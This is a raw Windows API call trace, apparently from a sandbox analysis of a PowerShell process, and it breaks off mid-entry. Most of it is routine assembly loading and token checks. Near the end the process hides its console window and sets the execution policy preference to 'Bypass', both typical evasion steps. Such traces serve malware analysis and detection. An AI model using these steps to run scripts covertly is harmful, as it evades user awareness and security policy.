lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x27e300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0049.381] GetLastError () returned 0x2 [0049.381] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x27e300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0049.381] GetLastError () returned 0x2 [0049.462] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0049.462] GetLastError () returned 0xcb [0049.463] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0049.463] GetLastError () returned 0xcb [0049.482] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0049.482] GetLastError () returned 0xcb [0049.483] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0049.483] GetLastError () returned 0xcb [0049.483] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0049.483] GetLastError () returned 0xcb [0049.589] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x27e300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0049.589] GetLastError () returned 0x0 [0049.589] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x27e300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0049.589] GetLastError () returned 0x0 [0049.607] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0049.607] GetLastError () returned 0xcb [0049.609] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0049.609] GetLastError () returned 0xcb [0049.641] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0049.641] GetLastError () returned 0x7e [0049.641] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0049.641] GetLastError () returned 0x7e [0049.969] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x27e300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0049.969] GetLastError () returned 0x2 [0049.969] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x27e300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0049.969] GetLastError () returned 0x2 [0050.031] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0050.031] GetLastError () returned 0x57 [0050.031] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0050.031] GetLastError () returned 0x57 [0050.179] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x27e300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0050.179] GetLastError () returned 0x2 [0050.179] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x27e300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0050.179] GetLastError () returned 0x2 [0050.266] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x27e300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0050.266] GetLastError () returned 0x2 [0050.266] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x27e300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0050.266] GetLastError () returned 0x2 [0050.314] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0050.314] GetLastError () returned 0xcb [0050.314] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e3c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0050.314] GetLastError () returned 0xcb [0050.314] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e378, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0050.315] GetLastError () returned 0xcb [0050.315] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e378, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0050.315] GetLastError () returned 0xcb [0050.350] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e378, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0050.350] GetLastError () returned 0xcb [0050.425] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x27e30c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0050.425] GetLastError () returned 0x2 [0050.425] SetErrorMode (uMode=0x1) returned 0x1 [0050.425] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x27e7b4 | out: lpFileInformation=0x27e7b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0050.425] GetLastError () returned 0x2 [0050.425] SetErrorMode (uMode=0x1) returned 0x1 [0050.581] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e3c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0050.581] GetLastError () returned 0x0 [0050.581] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e378, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0050.581] GetLastError () returned 0x0 [0050.582] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e378, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0050.582] GetLastError () returned 0x0 [0050.584] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0050.584] GetLastError () returned 0xcb [0050.587] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0050.587] GetLastError () returned 0xcb [0050.587] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0050.587] GetLastError () returned 0xcb [0050.592] CoCreateGuid (in: pguid=0x27e894 | out: pguid=0x27e894*(Data1=0x368fcd99, Data2=0x9f3, Data3=0x4bfa, Data4=([0]=0x96, [1]=0x9b, [2]=0x1d, [3]=0x7b, [4]=0xd1, [5]=0x39, [6]=0xc7, [7]=0x9f))) returned 0x0 [0050.594] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0050.594] GetLastError () returned 0xcb [0050.596] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0050.596] GetLastError () returned 0xcb [0050.597] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0050.597] GetLastError () returned 0xcb [0050.603] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0050.603] GetLastError () returned 0x0 [0050.604] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x27e774 | out: lpConsoleScreenBufferInfo=0x27e774) returned 1 [0050.604] GetLastError () returned 0x0 [0050.608] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0050.608] GetLastError () returned 0x0 [0050.608] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0x27e774 | out: lpConsoleScreenBufferInfo=0x27e774) returned 1 [0050.608] GetLastError () returned 0x0 [0050.608] GetVersionExW (in: lpVersionInformation=0x2d1dd0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x2d1dd0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0050.608] GetLastError () returned 0x0 [0050.609] GetCurrentProcess () returned 0xffffffff [0050.609] GetLastError () returned 0x3f0 [0050.610] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x27e784 | out: TokenHandle=0x27e784*=0x334) returned 1 [0050.610] GetLastError () returned 0x3f0 [0050.612] GetTokenInformation (in: TokenHandle=0x334, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x27e7dc | out: TokenInformation=0x0, ReturnLength=0x27e7dc) returned 0 [0050.612] GetLastError () returned 0x7a [0050.613] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x2fb5d0 [0050.613] GetLastError () returned 0x7a [0050.613] GetTokenInformation (in: TokenHandle=0x334, TokenInformationClass=0x8, TokenInformation=0x2fb5d0, TokenInformationLength=0x4, ReturnLength=0x27e7dc | out: TokenInformation=0x2fb5d0, ReturnLength=0x27e7dc) returned 1 [0050.613] GetLastError () returned 0x7a [0050.615] DuplicateTokenEx (in: hExistingToken=0x334, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x27e794 | out: phNewToken=0x27e794*=0x32c) returned 1 [0050.615] GetLastError () returned 0x7f [0050.615] GetTokenInformation (in: TokenHandle=0x334, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x27e7dc | out: TokenInformation=0x0, ReturnLength=0x27e7dc) returned 0 [0050.615] GetLastError () returned 0x7a [0050.615] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x2fb5b0 [0050.615] GetLastError () returned 0x7a [0050.615] GetTokenInformation (in: TokenHandle=0x334, TokenInformationClass=0x8, TokenInformation=0x2fb5b0, TokenInformationLength=0x4, ReturnLength=0x27e7dc | out: TokenInformation=0x2fb5b0, ReturnLength=0x27e7dc) returned 1 [0050.615] GetLastError () returned 0x7a [0050.616] CheckTokenMembership (in: TokenHandle=0x32c, SidToCheck=0x2a60ac0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x27e770 | out: IsMember=0x27e770) returned 1 [0050.616] GetLastError () returned 0x7a [0050.616] CloseHandle (hObject=0x32c) returned 1 [0050.616] GetLastError () returned 0x7a [0050.616] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e2b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0050.616] GetLastError () returned 0x7a [0050.616] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e264, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0050.616] GetLastError () returned 0x7a [0050.616] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e264, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0050.616] GetLastError () returned 0x7a [0050.616] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e264, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0050.616] GetLastError () returned 0x7a [0050.639] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e2b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0050.640] GetLastError () returned 0x7a [0050.640] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e264, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0050.640] GetLastError () returned 0x7a [0050.640] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e264, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0050.640] GetLastError () returned 0x7a [0050.640] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e2b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0050.640] GetLastError () returned 0x7a [0050.640] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e264, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0050.640] GetLastError () returned 0x7a [0050.640] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e264, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0050.640] GetLastError () returned 0x7a [0050.640] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e2c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0050.640] GetLastError () returned 0x7a [0050.640] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e278, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0050.640] GetLastError () returned 0x7a [0050.640] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e278, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0050.640] GetLastError () returned 0x7a [0050.640] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e278, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0050.640] GetLastError () returned 0x7a [0050.688] SetConsoleCtrlHandler (HandlerRoutine=0x1e1384a, Add=1) returned 1 [0050.689] GetLastError () returned 0x7a [0050.695] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0050.695] GetLastError () returned 0xcb [0050.697] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0050.697] GetLastError () returned 0xcb [0051.058] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.058] GetLastError () returned 0xcb [0051.184] GetConsoleWindow () returned 0x7009e [0051.184] ShowWindow (hWnd=0x7009e, nCmdShow=0) returned 0 [0051.224] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.224] GetLastError () returned 0xcb [0051.226] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.226] GetLastError () returned 0xcb [0051.230] SetEnvironmentVariableW (lpName="PSExecutionPolicyPreference", lpValue="Bypass") returned 1 [0051.230] GetLastError () returned 0xcb [0051.247] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x32c [0051.247] GetLastError () returned 0x0 [0051.248] CoCreateGuid (in: pguid=0x27e7a8 | out: pguid=0x27e7a8*(Data1=0xfa073aac, Data2=0x669e, Data3=0x4c50, Data4=([0]=0xb4, [1]=0x30, [2]=0xe3, [3]=0x76, [4]=0xa2, [5]=0x9, [6]=0x78, [7]=0xc9))) returned 0x0 [0051.328] WinSqmIsOptedIn () returned 0x0 [0051.328] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.328] GetLastError () returned 0xcb [0051.332] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.332] GetLastError () returned 0xcb [0051.332] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.332] GetLastError () returned 0xcb [0051.333] GetEnvironmentVariableW (in: lpName="MshEnableTrace", 